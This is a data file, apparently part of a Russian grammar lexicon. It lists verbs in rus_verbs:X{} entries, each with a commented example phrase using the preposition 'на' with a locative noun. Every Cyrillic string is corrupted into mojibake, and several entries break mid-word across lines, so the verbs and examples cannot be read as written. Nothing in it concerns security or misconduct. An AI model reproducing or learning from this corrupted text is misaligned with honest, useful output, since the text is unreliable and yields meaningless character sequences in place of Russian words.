rus_verbs:ะฟะพััะณะธะฒะฐัััั{}, // ะฟะพััะณะธะฒะฐัััั ะฝะฐ ะทะตะผะปะต
rus_verbs:ะพัะปะตะถะธะฒะฐัััั{}, // ะพัะปะตะถะธะฒะฐัััั ะฝะฐ ะบะพะนะบะต
rus_verbs:ะฟัะพัะฐัะฐะฝะธัั{}, // ะฟัะพัะฐัะฐะฝะธัั ะฝะฐ ัะฐะฝะบะต
rus_verbs:ะณะฐััะตะฒะฐัั{}, // ะณะฐััะตะฒะฐัั ะฝะฐ ะบะพะฝะต
rus_verbs:ะพะฑะปัะฟะธัััั{}, // ะพะฑะปัะฟะธัััั ะฝะฐ ะฝะพัั
rus_verbs:ะพะณะพะฒะพัะธัั{}, // ะพะณะพะฒะพัะธัั ะฝะฐ ัะพะฑะตัะตะดะพะฒะฐะฝะธะธ
rus_verbs:ะทะฐัะตะณะธัััะธัะพะฒะฐัััั{}, // ะทะฐัะตะณะธัััะธัะพะฒะฐัััั ะฝะฐ ัะฐะนัะต
rus_verbs:ะพัะฟะตัะฐัะฐัั{}, // ะพัะฟะตัะฐัะฐัั ะฝะฐ ะบะฐััะพะฝะต
rus_verbs:ััะบะพะฝะพะผะธัั{}, // ััะบะพะฝะพะผะธัั ะฝะฐ ะผะตะปะพัะฐั
rus_verbs:ะฟะพะบะฐัะฐัั{}, // ะฟะพะบะฐัะฐัั ะฝะฐ ะฟะพะฝะธ
rus_verbs:ะบะพะปะตัะธัั{}, // ะบะพะปะตัะธัั ะฝะฐ ััะฐัะพะน ะผะฐัะธะฝะต
rus_verbs:ะฟะพะฝะฐัััะพะธัั{}, // ะฟะพะฝะฐัััะพะธัั ะฝะฐ ััะฐััะบะฐั
rus_verbs:ะฟะพะดะถะฐัะธัั{}, // ะฟะพะดะถะฐัะธัั ะฝะฐ ะบะพัััะต
rus_verbs:ัะทะฝะฐะฒะฐัััั{}, // ัะทะฝะฐะฒะฐัััั ะฝะฐ ัะพัะพะณัะฐัะธะธ
rus_verbs:ะพัะพัะฐัั{}, // ะพัะพัะฐัั ะฝะฐ ะบะฐะทะตะฝะฝัั
ั
ะฐััะฐั
rus_verbs:ัะตะดะตัั{}, // ัะตะดะตัั ะฝะฐ ะผะฐะบััะบะต
rus_verbs:ะพะณะปะฐัะฐัั{}, // ะพะณะปะฐัะฐัั ะฝะฐ ะพะฑัะตะผ ัะพะฑัะฐะฝะธะธ
rus_verbs:ะปะพะฟะพัะฐัั{}, // ะปะพะฟะพัะฐัั ะฝะฐ ะธะฒัะธัะต
rus_verbs:ะฟัะธะณัะตัั{}, // ะฟัะธะณัะตัั ะฝะฐ ะณััะดะธ
rus_verbs:ะบะพะฝััะปััะธัะพะฒะฐัััั{}, // ะบะพะฝััะปััะธัะพะฒะฐัััั ะฝะฐ ัะพััะผะต
rus_verbs:ะฟัะธะฝะพัะธัััั{}, // ะฟัะธะฝะพัะธัััั ะฝะฐ ะพะดะตะถะดะต
rus_verbs:ัััะธัััั{}, // ัััะธัััั ะฝะฐ ะฑะฐะปะบะพะฝะต
rus_verbs:ะฝะฐัะปะตะดะธัั{}, // ะฝะฐัะปะตะดะธัั ะฝะฐ ะฟะพะปั
rus_verbs:ะฝะฐะณัะตัััั{}, // ะฝะฐะณัะตัััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ััะฑะฐัะธัั{}, // ััะฑะฐัะธัั ะฝะฐ ะพะทะตัะต
rus_verbs:ะฟัะพะบะฐัะธัั{}, // ะฟัะพะบะฐัะธัั ะฝะฐ ะฒัะฑะพัะฐั
rus_verbs:ะทะฐะฟะธะฝะฐัััั{}, // ะทะฐะฟะธะฝะฐัััั ะฝะฐ ัะพะฒะฝะพะผ ะผะตััะต
rus_verbs:ะพัััะฑะธัััั{}, // ะพัััะฑะธัััั ะฝะฐ ะผัะณะบะพะน ะฟะพะดััะบะต
rus_verbs:ะทะฐะผะพัะพะทะธัั{}, // ะทะฐะผะพัะพะทะธัั ะฝะฐ ัะปะธัะต
rus_verbs:ะฟัะพะผะตัะทะฝััั{}, // ะฟัะพะผะตัะทะฝััั ะฝะฐ ะพัะบัััะพะผ ะฒะพะทะดัั
ะต
rus_verbs:ะฟัะพัะพั
ะฝััั{}, // ะฟัะพัะพั
ะฝััั ะฝะฐ ะฑะฐัะฐัะตะต
rus_verbs:ัะฐะทะฒะพะทะธัั{}, // ัะฐะทะฒะพะทะธัั ะฝะฐ ะฒะตะปะพัะธะฟะตะดะต
rus_verbs:ะฟัะธะบะพัะฝััั{}, // ะฟัะธะบะพัะฝััั ะฝะฐ ะดะธะฒะฐะฝัะธะบะต
rus_verbs:ะพัะฟะตัะฐัะฐัััั{}, // ะพัะฟะตัะฐัะฐัััั ะฝะฐ ะบะพะถะต
rus_verbs:ะฒััะฒะปััั{}, // ะฒััะฒะปััั ะฝะฐ ัะฐะผะพะถะฝะต
rus_verbs:ัะฐัััะฐะฒะปััั{}, // ัะฐัััะฐะฒะปััั ะฝะฐ ะฑะฐัะฝัั
rus_verbs:ะฟัะพะบัััะธัั{}, // ะฟัะพะบัััะธัั ะฝะฐ ะฟะฐะปััะต
rus_verbs:ัะผัะฒะฐัััั{}, // ัะผัะฒะฐัััั ะฝะฐ ัะปะธัะต
rus_verbs:ะฟะตัะตัะบะฐะทัะฒะฐัั{}, // ะฟะตัะตัะบะฐะทัะฒะฐัั ะฝะฐ ัััะฐะฝะธัะฐั
ัะพะผะฐะฝะฐ
rus_verbs:ัะดะฐะปััั{}, // ัะดะฐะปััั ะฝะฐ ะฟัั
ะพะฒะธะบะต
rus_verbs:ั
ะพะทัะนะฝะธัะฐัั{}, // ั
ะพะทัะนะฝะธัะฐัั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะพะฟะตัะธัะพะฒะฐัั{}, // ะพะฟะตัะธัะพะฒะฐัั ะฝะฐ ะฟะพะปะต ะฑะพั
rus_verbs:ะฟะพะฝะพัะธัั{}, // ะฟะพะฝะพัะธัั ะฝะฐ ะณะพะปะพะฒะต
rus_verbs:ะทะฐะผััะปัะบะฐัั{}, // ะทะฐะผััะปัะบะฐัั ะฝะฐ ะบะพะปะตะฝัั
rus_verbs:ะฟะตัะตะดะฒะธะณะฐัั{}, // ะฟะตัะตะดะฒะธะณะฐัั ะฝะฐ ัะตะปะตะถะบะต
rus_verbs:ะฟัะพัะตััะธัั{}, // ะฟัะพัะตััะธัั ะฝะฐ ะทะตะผะปะต
rus_verbs:ะบะพะปะดะพะฒะฐัั{}, // ะบะพะปะดะพะฒะฐัั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ะพัะฒะพะทะธัั{}, // ะพัะฒะพะทะธัั ะฝะฐ ะบะฐะทะตะฝะฝะพะผ ััะฐะฝัะฟะพััะต
rus_verbs:ััะฐั
ะฐัั{}, // ััะฐั
ะฐัั ะฝะฐ ะฟัะธัะพะดะต
rus_verbs:ะผะฐััะตัะธัั{}, // ะผะฐััะตัะธัั ะฝะฐ ะบัั
ะฝะต
rus_verbs:ัะตะผะพะฝัะธัะพะฒะฐัั{}, // ัะตะผะพะฝัะธัะพะฒะฐัั ะฝะฐ ะบะพะปะตะฝะบะต
rus_verbs:ัะฐะทะฒะตะทัะธ{}, // ัะฐะทะฒะตะทัะธ ะฝะฐ ะฒะตะปะพัะธะฟะตะดะต
rus_verbs:ัะพะฑะตัั{}, // ัะพะฑะตัั ะฝะฐ ััะตะฝะต
ะธะฝัะธะฝะธัะธะฒ:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ัะตะฐะปะธะทะพะฒะฐัั ะฝะฐ ัะฐะนัะต
ะณะปะฐะณะพะป:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะตะฐะปะธะทะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ัะตะฐะปะธะทะพะฒะฐะฒ{}, ะดะตะตะฟัะธัะฐััะธะต:ัะตะฐะปะธะทัั{},
rus_verbs:ะฟะพะบะฐััััั{}, // ะฟะพะบะฐััััั ะฝะฐ ัะผะตััะฝะพะผ ะพะดัะต
rus_verbs:ัะฟะตัะธะฐะปะธะทะธัะพะฒะฐัััั{}, // ัะฟะตัะธะฐะปะธะทะธัะพะฒะฐัััั ะฝะฐ ัะตััะธัะพะฒะฐะฝะธะธ
rus_verbs:ะฟะพะฟััะณะฐัั{}, // ะฟะพะฟััะณะฐัั ะฝะฐ ะฑะฐัััะต
rus_verbs:ะฟะตัะตะฟะธััะฒะฐัั{}, // ะฟะตัะตะฟะธััะฒะฐัั ะฝะฐ ััะพะปะต
rus_verbs:ัะฐัะฟะธััะฒะฐัั{}, // ัะฐัะฟะธััะฒะฐัั ะฝะฐ ะดะพัะบะต
rus_verbs:ะทะฐะถะธะผะฐัั{}, // ะทะฐะถะธะผะฐัั ะฝะฐ ะทะฐะฟััััะต
rus_verbs:ะฟัะฐะบัะธะบะพะฒะฐัััั{}, // ะฟัะฐะบัะธะบะพะฒะฐัััั ะฝะฐ ะผััะฐั
rus_verbs:ัะตะดะธะฝะธัััั{}, // ัะตะดะธะฝะธัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะฟะพะดะพั
ะฝััั{}, // ะฟะพะดะพั
ะฝััั ะฝะฐ ััะถะฑะธะฝะต
rus_verbs:ะฟัะธะฟะพะดะฝะธะผะฐัััั{}, // ะฟัะธะฟะพะดะฝะธะผะฐัััั ะฝะฐ ััะบะฐั
rus_verbs:ััะพะดะธัััั{}, // ััะพะดะธัััั ะฝะฐ ะฟะพะปัั
rus_verbs:ะฟัะพะดะพะปะถะธัััั{}, // ะฟัะพะดะพะปะถะธัััั ะฝะฐ ัะปะธัะต
rus_verbs:ะฟะพัะฐะฟัะฒะฐัั{}, // ะฟะพัะฐะฟัะฒะฐัั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ะพะฑะพะดัะฐัั{}, // ะพะฑะพะดัะฐัั ะฝะฐ ัะฟะธะฝะต
rus_verbs:ัะบัััะธัััั{}, // ัะบัััะธัััั ะฝะฐ ะฟะตัะบะต
rus_verbs:ัะพัะผะพะทะฝััั{}, // ัะพัะผะพะทะฝััั ะฝะฐ ะฟะตัะตะบัะตััะบะต
rus_verbs:ะปััะพะฒะฐัั{}, // ะปััะพะฒะฐัั ะฝะฐ ั
ััะพัะต
rus_verbs:ะทะฐัะตะณะธัััะธัะพะฒะฐัั{}, // ะทะฐัะตะณะธัััะธัะพะฒะฐัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะฟะตัะตะถะดะฐัั{}, // ะฟะตัะตะถะดะฐัั ะฝะฐ ะฒะตััะธะฝะต ั
ะพะปะผะฐ
rus_verbs:ะดะพะผะธะฝะธัะพะฒะฐัั{}, // ะดะพะผะธะฝะธัะพะฒะฐัั ะฝะฐ ัะตััะธัะพัะธะธ
rus_verbs:ะฟัะฑะปะธะบะพะฒะฐัั{}, // ะฟัะฑะปะธะบะพะฒะฐัั ะฝะฐ ัะฐะนัะต
rus_verbs:ะผะพััะธัั{}, // ะผะพััะธัั ะฝะฐ ะปะฑั
rus_verbs:ัะบะพะฝัะตะฝััะธัะพะฒะฐัััั{}, // ัะบะพะฝัะตะฝััะธัะพะฒะฐัััั ะฝะฐ ะณะปะฐะฒะฝะพะผ
rus_verbs:ะฟะพะดัะฐะฑะฐััะฒะฐัั{}, // ะฟะพะดัะฐะฑะฐััะฒะฐัั ะฝะฐ ััะฝะบะต
rus_verbs:ัะตะฟะตัะธัะพะฒะฐัั{}, // ัะตะฟะตัะธัะพะฒะฐัั ะฝะฐ ะทะฐะดะฝะตะผ ะดะฒะพัะต
rus_verbs:ะฟะพะดะฒะตัะฝััั{}, // ะฟะพะดะฒะตัะฝััั ะฝะฐ ะฑััััะฐัะบะต
rus_verbs:ะทะฐัะตะปะตััะตัั{}, // ะทะฐัะตะปะตััะตัั ะฝะฐ ะฒะตััั
rus_verbs:ัะฐััะตััะฒะฐัั{}, // ัะฐััะตััะฒะฐัั ะฝะฐ ัะฟะธะฝะต
rus_verbs:ะพะดะตะฒะฐัั{}, // ะพะดะตะฒะฐัั ะฝะฐ ััะฝะบะต
rus_verbs:ะธัะฟะตัั{}, // ะธัะฟะตัั ะฝะฐ ัะณะปัั
rus_verbs:ัะฑัะธัั{}, // ัะฑัะธัั ะฝะฐ ะทะฐััะปะบะต
rus_verbs:ัะพะณัะตัััั{}, // ัะพะณัะตัััั ะฝะฐ ะฟะตัะบะต
rus_verbs:ะทะฐะผะฐััะธัั{}, // ะทะฐะผะฐััะธัั ะฝะฐ ะณะพัะธะทะพะฝัะต
rus_verbs:ะฟะตัะตััะธััะฒะฐัั{}, // ะฟะตัะตััะธััะฒะฐัั ะฝะฐ ะฟะฐะปััะฐั
rus_verbs:ะณะฐะปะดะตัั{}, // ะณะฐะปะดะตัั ะฝะฐ ะบััะปััะต
rus_verbs:ะฟะตัะตะฟะปััั{}, // ะฟะตัะตะฟะปััั ะฝะฐ ะฟะปะพัั
rus_verbs:ะฟะตัะตะดะพั
ะฝััั{}, // ะฟะตัะตะดะพั
ะฝััั ะฝะฐ ัะบะฐะผะตะนะบะต
rus_verbs:ะฟัะธะถะธัััั{}, // ะฟัะธะถะธัััั ะฝะฐ ัะตัะผะต
rus_verbs:ะฟะตัะตะฟัะฐะฒะปััััั{}, // ะฟะตัะตะฟัะฐะฒะปััััั ะฝะฐ ะฟะปะพัะฐั
rus_verbs:ะฝะฐะบัะฟะธัั{}, // ะฝะฐะบัะฟะธัั ะฝะฐ ะฑะปะพัะธะฝะพะผ ััะฝะบะต
rus_verbs:ะฟัะพัะพััะฐัั{}, // ะฟัะพัะพััะฐัั ะฝะฐ ะฒะธะดั
rus_verbs:ะผะพะบะฝััั{}, // ะผะพะบะฝััั ะฝะฐ ัะปะธัะต
rus_verbs:ะทะฐัััะบะฐัั{}, // ะทะฐัััะบะฐัั ะฝะฐ ะบะฐะผะฑัะทะต
rus_verbs:ะทะฐะฒัะทัะฒะฐัั{}, // ะทะฐะฒัะทัะฒะฐัั ะฝะฐ ะฑะพัะธะฝะบะฐั
rus_verbs:ะฟะพะฒะธัะฐัั{}, // ะฟะพะฒะธัะฐัั ะฝะฐ ะฒะตัะบะต
rus_verbs:ะฟะพะดะฒะธะทะฐัััั{}, // ะฟะพะดะฒะธะทะฐัััั ะฝะฐ ะณะพััะดะฐัััะฒะตะฝะฝะพะน ัะปัะถะฑะต
rus_verbs:ะบะพัะผะธัััั{}, // ะบะพัะผะธัััั ะฝะฐ ะฑะพะปะพัะต
rus_verbs:ะฟะพะบััะธัั{}, // ะฟะพะบััะธัั ะฝะฐ ัะปะธัะต
rus_verbs:ะทะธะผะพะฒะฐัั{}, // ะทะธะผะพะฒะฐัั ะฝะฐ ะฑะพะปะพัะฐั
rus_verbs:ะทะฐััะตะณะธะฒะฐัั{}, // ะทะฐััะตะณะธะฒะฐัั ะฝะฐ ะณะธะผะฝะฐััะตัะบะต
rus_verbs:ะฟะพะธะณััะฒะฐัั{}, // ะฟะพะธะณััะฒะฐัั ะฝะฐ ะณะธัะฐัะต
rus_verbs:ะฟะพะณะพัะตัั{}, // ะฟะพะณะพัะตัั ะฝะฐ ะผะฐั
ะธะฝะฐัะธัั
ั ะทะตะผะปะตะน
rus_verbs:ะบัะฒััะบะฐัััั{}, // ะบัะฒััะบะฐัััั ะฝะฐ ะฑะฐัััะต
rus_verbs:ะฟะพั
ัะฐะฟัะฒะฐัั{}, // ะฟะพั
ัะฐะฟัะฒะฐัั ะฝะฐ ะดะธะฒะฐะฝะต
rus_verbs:ะฟัะธะณัะตะฒะฐัั{}, // ะฟัะธะณัะตะฒะฐัั ะฝะฐ ะณััะดะธ
rus_verbs:ะทะฐะฒัะทะฝััั{}, // ะทะฐะฒัะทะฝััั ะฝะฐ ะฑะพะปะพัะต
rus_verbs:ัะฐััะฐัั{}, // ัะฐััะฐัั ะฝะฐ ะฒัะพัะพะผ ััะฐะถะต
rus_verbs:ะทะฐะฝะพัะตะฒะฐัั{}, // ะทะฐะฝะพัะตะฒะฐัั ะฝะฐ ัะตะฝะพะฒะฐะปะต
rus_verbs:ะพััะธะถะธะฒะฐัััั{}, // ะพััะธะถะธะฒะฐัััั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะผัะฐัั{}, // ะผัะฐัั ะฝะฐ ะฑะฐะนะบะต
rus_verbs:ัะณะฝะธัั{}, // ัะณะฝะธัั ะฝะฐ ััะฐะฝะพะฒัั
ััะดะฝะธะบะฐั
rus_verbs:ััะตะฝะธัะพะฒะฐัั{}, // ััะตะฝะธัะพะฒะฐัั ะฝะฐ ะผะฐะฝะตะบะตะฝะฐั
rus_verbs:ะฟะพะฒะตัะตะปะธัััั{}, // ะฟะพะฒะตัะตะปะธัััั ะฝะฐ ะฟัะฐะทะดะฝะธะบะต
rus_verbs:ะธะทะผััะธัััั{}, // ะธะทะผััะธัััั ะฝะฐ ะฑะพะปะพัะต
rus_verbs:ัะฒัะฝััั{}, // ัะฒัะฝััั ะฝะฐ ะฟะพะดะพะบะพะฝะฝะธะบะต
rus_verbs:ัะฐัะบัััะธัั{}, // ัะฐัะบัััะธัั ะฝะฐ ะพัะธ
rus_verbs:ะฒััะฒะตััะธ{}, // ะฒััะฒะตััะธ ะฝะฐ ัะพะปะฝะตัะฝะพะผ ัะฒะตัั
rus_verbs:ะธะทะณะพัะพะฒะปััั{}, // ะธะทะณะพัะพะฒะปััั ะฝะฐ ะบะพะปะตะฝะบะต
rus_verbs:ะณะฝะตะทะดะธัััั{}, // ะณะฝะตะทะดะธัััั ะฝะฐ ะฒะตััะธะฝะต ะดะตัะตะฒะฐ
rus_verbs:ัะฐะทะพะณะฝะฐัััั{}, // ัะฐะทะพะณะฝะฐัััั ะฝะฐ ะผะพัะพัะธะบะปะต
rus_verbs:ะธะทะปะฐะณะฐัััั{}, // ะธะทะปะฐะณะฐัััั ะฝะฐ ัััะฐะฝะธัะฐั
ะดะพะบะปะฐะดะฐ
rus_verbs:ัะบะพะฝัะตะฝััะธัะพะฒะฐัั{}, // ัะบะพะฝัะตะฝััะธัะพะฒะฐัั ะฝะฐ ะปะตะฒะพะผ ัะปะฐะฝะณะต
rus_verbs:ัะฐััะตัะฐัั{}, // ัะฐััะตัะฐัั ะฝะฐ ะผะฐะบััะบะต
rus_verbs:ะฟะปะฐะฒะธัััั{}, // ะฟะปะฐะฒะธัััั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ัะตะดะฐะบัะธัะพะฒะฐัั{}, // ัะตะดะฐะบัะธัะพะฒะฐัั ะฝะฐ ะฝะพััะฑัะบะต
rus_verbs:ะฟะพะดัะบะฐะบะธะฒะฐัั{}, // ะฟะพะดัะบะฐะบะธะฒะฐัั ะฝะฐ ะผะตััะต
rus_verbs:ะฟะพะบัะฟะฐัััั{}, // ะฟะพะบัะฟะฐัััั ะฝะฐ ััะฝะบะต
rus_verbs:ะฟัะพะผััะปััั{}, // ะฟัะพะผััะปััั ะฝะฐ ะผะตะปะบะพะฒะพะดัะต
rus_verbs:ะฟัะธะพะฑัะตัะฐัััั{}, // ะฟัะธะพะฑัะตัะฐัััั ะฝะฐ ัะฐัะฟัะพะดะฐะถะฐั
rus_verbs:ะฝะฐะธะณััะฒะฐัั{}, // ะฝะฐะธะณััะฒะฐัั ะฝะฐ ะฑะฐะฝะดะถะพ
rus_verbs:ะผะฐะฝะตะฒัะธัะพะฒะฐัั{}, // ะผะฐะฝะตะฒัะธัะพะฒะฐัั ะฝะฐ ัะปะฐะฝะณะฐั
rus_verbs:ะทะฐะฟะตัะฐัะปะตัััั{}, // ะทะฐะฟะตัะฐัะปะตัััั ะฝะฐ ะทะฐะฟะธััั
ะบะฐะผะตั
rus_verbs:ัะบััะฒะฐัั{}, // ัะบััะฒะฐัั ะฝะฐ ัะตัะดะฐะบะต
rus_verbs:ะฟะพะดะพัะฒะฐัััั{}, // ะฟะพะดะพัะฒะฐัััั ะฝะฐ ััะณะฐัะต
rus_verbs:ะทะฐะบัะตะฟะธัััั{}, // ะทะฐะบัะตะฟะธัััั ะฝะฐ ะทะฐะฝัััั
ะฟะพะทะธัะธัั
rus_verbs:ะณัะพะผัั
ะฐัั{}, // ะณัะพะผัั
ะฐัั ะฝะฐ ะบัั
ะฝะต
ะธะฝัะธะฝะธัะธะฒ:ะฟะพะดะฒะธะณะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฟะพะดะฒะธะณะฐัััั{ ะฒะธะด:ัะพะฒะตัั }, // ะฟะพะดะฒะธะณะฐัััั ะฝะฐ ะฟะพะปั
ะดะตะตะฟัะธัะฐััะธะต:ะฟะพะดะฒะธะณะฐะฒัะธัั{},
rus_verbs:ะดะพะฑัะฒะฐัััั{}, // ะดะพะฑัะฒะฐัััั ะฝะฐ ัะตััะธัะพัะธะธ ะะฝะณะพะปั
rus_verbs:ะฟัะธะฟะปัััะฒะฐัั{}, // ะฟัะธะฟะปัััะฒะฐัั ะฝะฐ ััะตะฝะต
rus_verbs:ะดะพะถะธะฒะฐัั{}, // ะดะพะถะธะฒะฐัั ะฝะฐ ะฑะพะปัะฝะธัะฝะพะน ะบะพะนะบะต
rus_verbs:ะพัะฟัะฐะทะดะฝะพะฒะฐัั{}, // ะพัะฟัะฐะทะดะฝะพะฒะฐัั ะฝะฐ ัะฐะฑะพัะต
rus_verbs:ัะณัะฑะธัั{}, // ัะณัะฑะธัั ะฝะฐ ะบะพัะฝั
rus_verbs:ัั
ะพัะพะฝะธัั{}, // ัั
ะพัะพะฝะธัั ะฝะฐ ะบะปะฐะดะฑะธัะต
rus_verbs:ัััะบะฝะตัั{}, // ัััะบะฝะตัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ัะบะพะฟะธัั{}, // ัะบะพะฟะธัั ะฝะฐ ััะตัั
rus_verbs:ะฟะพะผััั{}, // ะฟะพะผััั ะฝะฐ ัะฒะพะตะผ ััะฐะถะต
rus_verbs:ะฟะพัะพัั{}, // ะฟะพัะพัั ะฝะฐ ะบะพะฝััะฝะต
rus_verbs:ะฝะฐะปะธัะตััะฒะพะฒะฐัั{}, // ะฝะฐะปะธัะตััะฒะพะฒะฐัั ะฝะฐ ัะบะปะฐะดะต
rus_verbs:ะฝะฐััะฟัะฒะฐัั{}, // ะฝะฐััะฟัะฒะฐัั ะฝะฐ ะฟะพะปะบะต
rus_verbs:ะทะผะตะธัััั{}, // ะทะผะตะธัััั ะฝะฐ ะดะฝะต
rus_verbs:ะฟะพะถะตะปัะตัั{}, // ะฟะพะถะตะปัะตัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ะทะฐะพัััะธัััั{}, // ะทะฐะพัััะธัััั ะฝะฐ ะบะพะฝัะต
rus_verbs:ัะฒะตะทัะธ{}, // ัะฒะตะทัะธ ะฝะฐ ะฟะพะปะต
rus_verbs:ะฟัะพััะฒััะฒะพะฒะฐัั{}, // ะฟัะพััะฒััะฒะพะฒะฐัั ะฝะฐ ัะฒะพะตะน ัะบััะต
rus_verbs:ะฟะพะดะบัััะธัั{}, // ะฟะพะดะบัััะธัั ะฝะฐ ะฟัะธะฑะพัะฝะพะน ะฟะฐะฝะตะปะธ
rus_verbs:ััะฑะธัััั{}, // ััะฑะธัััั ะฝะฐ ะผะตัะฐั
rus_verbs:ัะธะถะธะฒะฐัั{}, // ัะธะถะธะฒะฐัั ะฝะฐ ะบััะปััะต
rus_verbs:ัะฐัะฐัะพัะธัั{}, // ัะฐัะฐัะพัะธัั ะฝะฐ ะธะฝะพัััะฐะฝะฝะพะผ ัะทัะบะต
rus_verbs:ัะตะฟะปะตัั{}, // ัะตะฟะปะตัั ะฝะฐ ัะตัะดัะต
rus_verbs:ะฟะพะบะฐัะฐัััั{}, // ะฟะพะบะฐัะฐัััั ะฝะฐ ะฒะตัะบะต
rus_verbs:ัะพััะตะดะพัะพัะธะฒะฐัััั{}, // ัะพััะตะดะพัะพัะธะฒะฐัััั ะฝะฐ ะณะปะฐะฒะฝะพะน ะทะฐะดะฐัะต
rus_verbs:ัะฐะทะฒัะทัะฒะฐัั{}, // ัะฐะทะฒัะทัะฒะฐัั ะฝะฐ ะฑะพัะธะฝะบะฐั
rus_verbs:ะฟะพะดะฒะพะทะธัั{}, // ะฟะพะดะฒะพะทะธัั ะฝะฐ ะผะพัะพัะพะปะปะตัะต
rus_verbs:ะฒััะธะฒะฐัั{}, // ะฒััะธะฒะฐัั ะฝะฐ ััะฑะฐัะบะต
rus_verbs:ัะบัะฟะฐัั{}, // ัะบัะฟะฐัั ะฝะฐ ะพัะบัััะพะผ ััะฝะบะต
rus_verbs:ะพัะพัะผะปััั{}, // ะพัะพัะผะปััั ะฝะฐ ะฒัััะตัะต
rus_verbs:ัะฐัะฟััะบะฐัััั{}, // ัะฐัะฟััะบะฐัััั ะฝะฐ ะบะปัะผะฑะฐั
rus_verbs:ะฟัะพะณะพัะตัั{}, // ะฟัะพะณะพัะตัั ะฝะฐ ัะฟะตะบัะปััะธัั
rus_verbs:ะฟัะธะฟะพะปะทัะธ{}, // ะฟัะธะฟะพะปะทัะธ ะฝะฐ ะบะพะปะตะฝัั
rus_verbs:ะทะฐะณะพัะตัั{}, // ะทะฐะณะพัะตัั ะฝะฐ ะฟะปัะถะต
rus_verbs:ะพัััะดะธัั{}, // ะพัััะดะธัั ะฝะฐ ะฑะฐะปะบะพะฝะต
rus_verbs:ะฝะฐัะฒะฐัั{}, // ะฝะฐัะฒะฐัั ะฝะฐ ะฟะพะปัะฝะต
rus_verbs:ะธะทะดะพั
ะฝััั{}, // ะธะทะดะพั
ะฝััั ะฝะฐ ะฑะพะปะพัะต
rus_verbs:ัะฐะทะณััะถะฐัั{}, // ัะฐะทะณััะถะฐัั ะฝะฐ ะดะพัะพะณะต
rus_verbs:ะฟัะพะธะทัะฐััะฐัั{}, // ะฟัะพะธะทัะฐััะฐัั ะฝะฐ ะฑะพะปะพัะฐั
rus_verbs:ัะฐะทััััั{}, // ัะฐะทััััั ะฝะฐ ะบะพะฒัะธะบะต
rus_verbs:ัะพะพััะถะฐัั{}, // ัะพะพััะถะฐัั ะฝะฐ ะฟะปะพัะฐะดะธ
rus_verbs:ะทะฐัะธััะฒะฐัั{}, // ะทะฐัะธััะฒะฐัั ะฝะฐ ะผะธัะธะฝะณะต
rus_verbs:ัะผะตััะธัััั{}, // ัะผะตััะธัััั ะฝะฐ ะปะฐะดะพะฝะธ
rus_verbs:ะทะฐะบัะฟะธัั{}, // ะทะฐะบัะฟะธัั ะฝะฐ ััะฝะบะต
rus_verbs:ะณะพัะปะฐะฝะธัั{}, // ะณะพัะปะฐะฝะธัั ะฝะฐ ัะปะธัะต
rus_verbs:ัะบะพะฝะพะผะธัั{}, // ัะบะพะฝะพะผะธัั ะฝะฐ ัะฟะธัะบะฐั
rus_verbs:ะธัะฟัะฐะฒะปััั{}, // ะธัะฟัะฐะฒะปััั ะฝะฐ ะดะพัะบะต
rus_verbs:ัะฐััะปะฐะฑะปััััั{}, // ัะฐััะปะฐะฑะปััััั ะฝะฐ ะปะตะถะฐะบะต
rus_verbs:ัะบะฐะฟะปะธะฒะฐัััั{}, // ัะบะฐะฟะปะธะฒะฐัััั ะฝะฐ ะบัััะต
rus_verbs:ัะฟะปะตัะฝะธัะฐัั{}, // ัะฟะปะตัะฝะธัะฐัั ะฝะฐ ัะบะฐะผะตะตัะบะต
rus_verbs:ะพััะตะทะถะฐัั{}, // ะพััะตะทะถะฐัั ะฝะฐ ะปะธะผัะทะธะฝะต
rus_verbs:ะพััะธััะฒะฐัั{}, // ะพััะธััะฒะฐัั ะฝะฐ ัะพะฑัะฐะฝะธะธ
rus_verbs:ััะพะบััะธัะพะฒะฐัั{}, // ััะพะบััะธัะพะฒะฐัั ะฝะฐ ัะดะฐะปะตะฝะฝะพะน ัะพัะบะต
rus_verbs:ะฟะพััะตะฒะฐัั{}, // ะฟะพััะตะฒะฐัั ะฝะฐ ะปะฐะฒัะฐั
rus_verbs:ะพะบะพะฟะฐัััั{}, // ะพะบะพะฟะฐัััั ะฝะฐ ะพะบัะฐะธะฝะต
rus_verbs:ะทะฐะณะพัะฐัั{}, // ะทะฐะณะพัะฐัั ะฝะฐ ะฟะปัะถะต
rus_verbs:ะพะฑะณะพัะตัั{}, // ะพะฑะณะพัะตัั ะฝะฐ ัะพะปะฝัะต
rus_verbs:ัะฐัะฟะพะทะฝะฐะฒะฐัั{}, // ัะฐัะฟะพะทะฝะฐะฒะฐัั ะฝะฐ ัะพัะพะณัะฐัะธะธ
rus_verbs:ะทะฐะฟะปะตัะฐัััั{}, // ะทะฐะฟะปะตัะฐัััั ะฝะฐ ะผะฐะบััะบะต
rus_verbs:ะฟะตัะตะณัะตัััั{}, // ะฟะตัะตะณัะตัััั ะฝะฐ ะถะฐัะต
rus_verbs:ะฟะพะดะผะตัะฐัั{}, // ะฟะพะดะผะตัะฐัั ะฝะฐ ะบััะปััะต
rus_verbs:ะฝะฐัะธัะพะฒะฐัััั{}, // ะฝะฐัะธัะพะฒะฐัััั ะฝะฐ ะณะพัะธะทะพะฝัะต
rus_verbs:ะฟัะพัะบะฐะบะธะฒะฐัั{}, // ะฟัะพัะบะฐะบะธะฒะฐัั ะฝะฐ ัะบัะฐะฝะต
